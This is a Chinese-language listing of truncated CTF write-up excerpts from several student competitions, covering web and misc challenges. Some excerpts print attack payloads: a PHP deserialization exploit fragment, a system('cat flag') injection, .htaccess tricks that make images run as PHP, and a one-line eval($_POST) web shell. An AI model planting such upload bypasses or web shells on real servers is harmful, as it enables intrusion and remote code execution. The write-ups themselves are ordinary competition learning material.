【CTF】第四届浙江省大学生网络与信息安全竞赛预赛部分WP
W@v3s战队一、战队信息名称：W@v3s排名：9二、解题情况粘贴解题图片三、解题过程Web题目一名称 Checkin直接访问 Burp抓包即可得到flag关键步骤截图题目二名称 pppopPop链的exp:<?php
class A1{
public $tmp1;
public $tmp2;
}
class A3{
}
class A4{
public $tmp1;
}
class A6{
public $tmp1;
}
class A8{
}
$a1 = new A1();
$a3 = new A3();
$a4 = new A4();
$...
【CTF】ZJNU校内赛 Writeup by Xunflash
第一次参加的校赛 :Coolapk46: 要被锤爆了好多大佬噢，还有个没进集训队的巨佬直接冲到第三，tql这里是官方题目和wphttps://github.com/A1natas/zjnuctf-school-contest-2021下面是菜鸡wp请慢用热身网络安全法直接搜网络安全法颁布日期webweb签到Hackbar post system(“cat flag;”)即可easy upload上传.htaccess文件，内容为<FilesMatch "evil.png">
SetHandler application/x-httpd-php
<...
【CTF】HECTF2020 Writeup by Xunflash
MISCpng下载图片发现是一张可爱猫咪图片，直接放到010editor里面，发现图片尾部有一段base64M2I3OWJkZjhmY2ZkNTVmZH0=，拿去解码得到3b79bdf8fcfd55fd}，后面好像没有什么东西了，然后尝试crc隐写。放入脚本解码得到原本的宽高为04 29修改后得到flag第一部分 不说人话进去一看只有.!?三个字符，直接想到是Ook密码变形，然后打开记事本替换后解码即可https://www.splitbrain.org/services/ook 【真签到题】快来看直播进入直播间后flag就在上面【The End】世界的终焉明明是问卷，名字还这么高级溯源...
【CTF】第12届极客大挑战GeekChallenge WEB部分Writeup by Xunflash
第一次参加这种比赛，写得很垃圾，200以上的都不会做。。。随便看看就好 :huaji13:题目名称：Welcome解题过程：打开发现405，百度搜索405发现需要使用post提交，burpsuite抓包改成post，forward，右键send to repeater然后读一下代码发现($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])
好怪啊这个东西，然后疯狂百度，搞了好久发现了这篇文章https://www.pianshen.com/article...
【CTF】UNCTF Writeup by Satan9a
比赛:UNCTF2020校内赛ID:Satan9axuxuan AN_666 XunflashWeb1.easy_ssrf2.俄罗斯方块人大战奥特曼查看源代码,发现有一个压缩包下载下来发现有打开即可得到flag3.easy_upload解题过程：上传题，测试不能上传php，phtml等，发现数据库是apache，尝试上传.htaccess文件，文件内容plain
AddType application/x-httpd-p\
hp .jpg
上传hp.jpg内容plain
<?=eval($_POST[satan]);
连接蚁剑得到flag4.easyunserialize解题过...